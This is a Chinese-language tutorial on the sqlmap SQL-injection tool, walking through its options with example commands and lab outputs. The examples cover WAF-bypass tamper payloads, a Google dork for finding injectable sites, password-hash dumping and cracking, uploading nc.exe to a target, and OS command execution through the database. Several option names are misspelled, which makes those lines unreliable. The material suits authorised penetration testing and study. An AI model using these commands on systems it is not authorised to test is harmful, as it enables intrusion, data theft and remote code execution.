sqlmap 使用指南

sqlmap的作用:

  1. 判断可注入的参数
  2. 判断可以用那种SQL注入技术来注入
  3. 识别出哪种数据库
  4. 根据用户选择,读取哪些数据

其支持5种模式的注入方式:

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  4. 联合查询注入,可以使用union的情况下的注入。
  5. 堆查询注入,可以同时执行多条语句的执行时的注入。

使用-h -hh可看到更为详细的帮助。

测试的来源可以是一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。

sqlmap输出共有七个等级,默认为1,使用-v参数更改:

1
2
3
4
5
6
7
8
9
10
11
12
13
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

我们以-hh显示的参数来介绍常见参数:

参数介绍

target/目标

目标URL

-u

1
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
Burp或者WebScarab代理中获取日志

-l

可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。

文本中获取多个目标扫描

-m

文件中每行存储一个目标

1
2
3
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
文件中加载HTTP请求

-r

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)

1
2
3
4
5
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
处理google搜索结果

-g

sqlmap可以测试注入Google的搜索结果中的GET参数

1
python sqlmap.py -g "inurl:\".php?id=1\""
根据配置文件处理

-c

根据ini文件中的内容进行配置

Request/请求

http方法

--method

更改http请求方法类型,如put,connect

http数据

--data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

1
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
参数拆分字符

--param-del
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

1
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
HTTP cookie头

--cookie,--load-cookies,--drop-set-cookie

这个参数在以下两个方面很有用:

  1. web应用需要登陆的时候。
  2. 你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入

如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接。

当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头

--user-agent,--random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用--user-anget参数来修改,同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。

--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

HTTP Referer头

--referer

sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。
有些WAF会限制链接的跳转源,这时修改此字段就非常有必要。

额外的HTTP头

--headers

可以通过此参数来增加额外的http头

HTTP请求延迟

--delay

可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

--timeout
可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

利用正则过滤目标网址

--scope

1
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
避免过多的错误请求被屏蔽

--safe-url,--safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。
1、–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

每次请求时候执行自定义的python代码

--eval
在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。

1
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。

Injection/注入

测试参数

-p

sqlmap默认测试所有的GETPOST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p "id,user-anget"

当你使用--level的值很大但是有个别参数不想测试的时候可以使用–skip参数。

例如:--skip="user-angent.referer"

在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*

1
2
3
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
sqlmap将会测试value1的位置是否可注入。
指定数据库

--dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:

1
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2
指定数据库服务器系统

--os
默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows

指定无效的大数字

--invalid-bignum

当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

指定无效的逻辑

--invalid-logical
可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

注入payload

--prefix,--suffix
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如:

例如,代码中是这样调用数据库的:

1
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要--prefix--suffix参数了:

这样执行的SQL语句变成:

1
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
修改注入的数据

--tamper

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用–tamper参数对数据做修改来绕过WAF等设备。

下面是一个tamper脚本的格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal

常用的tamper都在/tamper目录下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]

Detection/探测

探测等级

--level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload

这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

--risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

页面比较

--string,--not-string,--regexp,--code

默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数–code=200。

--text-only,--titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-only(HTTP响应体中不同)–titles(HTML的title标签中不同)。

注入技术

测试是否是注入

--technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。所有支持的注入方式如下:

1
2
3
4
5
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
设定延迟注入的时间

--time-sec
当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒。

设定UNION查询字段数

--union-cols
默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数。设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。

设定UNION查询使用的字符

--union-char
默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用--union-char只定UNION查询的字符。

二阶SQL注入

--second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。–second-order后面跟一个判断页面的URL地址。

枚举数据

标志

-b,--banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户

-current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

--current-db

返还当前连接的数据库。

列数据库管理用户

--users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

--passwords

当前用户有权限读取包含用户密码的表的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
列出数据库管理员权限

--privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列举数据库表

--tables,--exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。

如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

–exclude-sysdbs参数是指包含了所有的系统数据库。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

--columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时,默认会使用当前数据库。

1
2
3
4
5
6
7
8
9
10
11
12
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
列举数据库系统的架构

--schema,--exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。

加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]
获取表中数据个数

--count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

1
2
3
4
5
6
7
8
9
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
获取整个表的数据

--dump,-C,-T,-D,--start,--stop,--first,--last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。

使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。

1
2
3
4
5
6
7
8
9
10
11
12
13
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+

可以获取指定库中的所有表的内容,只用-dump-D参数(不使用-T与-C参数)。

也可以用-dump-C获取指定的字段内容。

sqlmap为每个表生成了一个CSV文件。

如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop 1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。

也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用–first 3 –last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

运行自定义的SQL语句

--sql-query,--sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'

暴力破解

暴力破解表名

--common-tables

当使用–tables无法获取到数据库的表时,可以使用此参数。
原因一般是:

1
2
3
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解列名

--common-columns

与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

系统文件操作

从数据库服务器中读取文件

--file-read

当数据库为MySQLPostgreSQLMicrosoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
把文件上传到数据库服务器中

--file-write,--file-dest

当数据库为MySQLPostgreSQLMicrosoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL &gt;= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed'
运行任意操作系统命令

--os-cmd,--os-shell

当数据库为MySQLPostgreSQLMicrosoft SQL Server,并且当前用户有权限使用特定的函数。

MySQLPostgreSQLsqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()`。

那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Serversqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually

对Windows注册表操作

当数据库为MySQLPostgreSQLMicrosoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。

读取注册表值

--reg-read

写入注册表值

--reg-add

删除注册表值

--reg-del

常规参数

从sqlite中读取session

-s

sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。

保存HTTP(S)日志

-t

这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。

非交互模式

--batch

用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

强制使用字符编码

--charset

不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:

1
--charset=GBK
爬行网站URL

--crawl

sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。

1
2
3
4
5
6
7
8
9
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
规定输出到CSV中的分隔符

--csv-del

当dump保存为CSV格式时(--dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:

1
--csv-del=";"

其他参数

使用HTTP参数污染

-hpp

HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IISASP.NET/IIS平台很有效

测试WAF/IPS/IDS保护

--identify-waf

sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')
[...]

自带tamper分析

单引号替换 apostrophemask.py

使用utf-8 编码 字符(U+FF07)替换单引号'(U+0027)

1
2
3
1' AND '1'='1
==>
1%EF%BC%87 AND %EF%BC%871%EF%BC%87=%EF%BC%871

适用数据库:ALL

单引号替换 apostrophenullencode.py

将单引号替换为%00%27 在引号前插入了空字符U+0000

1
2
3
1' AND '1'='1
==>
1�' AND �'1�'=�'1

适用数据库:ALL

添加空字符 appendnullbyte.py

1
return "%s%%00" % payload if payload else payload

适用数据库:Access

base64编码 base64encode.py

这个看模块名也知道是base64编码

1
return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload

适用数据库:ALL

比较符替换 between.py

将大于符号和等号用between语句替换,用于过滤了大于符号和等号的情况

1
2
3
1 AND A > B
==>
1 AND A NOT BETWEEN 0 AND B

适用数据库:ALL

空格替换 bluecoat.py

%09 U+0009水平制表符代替空格,并且将等号替换为 like ,用于过滤了空格和等号的情况

1
2
3
SELECT id FROM users WHERE id = 1
==>
SELECT%09id FROM%09users WHERE%09id LIKE 1

适用数据库:MySQL 5.1, SGOS

两次urlencode chardoubleencode.py

1
2
3
SELECT FIELD FROM%20TABLE
==>
%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

适用数据库:ALL

一次url编码 charencode.py

1
2
3
SELECT FIELD FROM%20TABLE
==>
%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

unicode转义 charunicodeencode.py

使用unicode转义所有字符,除了已经urlencode的字符

1
2
3
SELECT FIELD%20FROM TABLE
==>
%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

适用数据库:ALL,但是需要 aspasp.net 环境

unicode转义 charunicodeescape.py

常用语绕过WAFJSON数据

1
2
3
SELECT FIELD FROM TABLE
==>
\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045

逗号替换 commalesslimit.py

将的逗号用offset代替,用于过滤了逗号并且是两个参数的情况

1
2
3
LIMIT 2, 3
==>
LIMIT 3 OFFSET 2

适用数据库:MySQL

mid函数逗号替换 commalessmid.py

mid函数中的start,end换成from to

1
2
3
MID(VERSION(), 1, 1)
==>
MID(VERSION() FROM 1 FOR 1

适用数据库:MySQL

括号前注释 commentbeforeparentheses.py

在单词后括号前加行内注释以绕过WAF

1
2
3
SELECT ABS(1)
==>
SELECT ABS/**/(1)
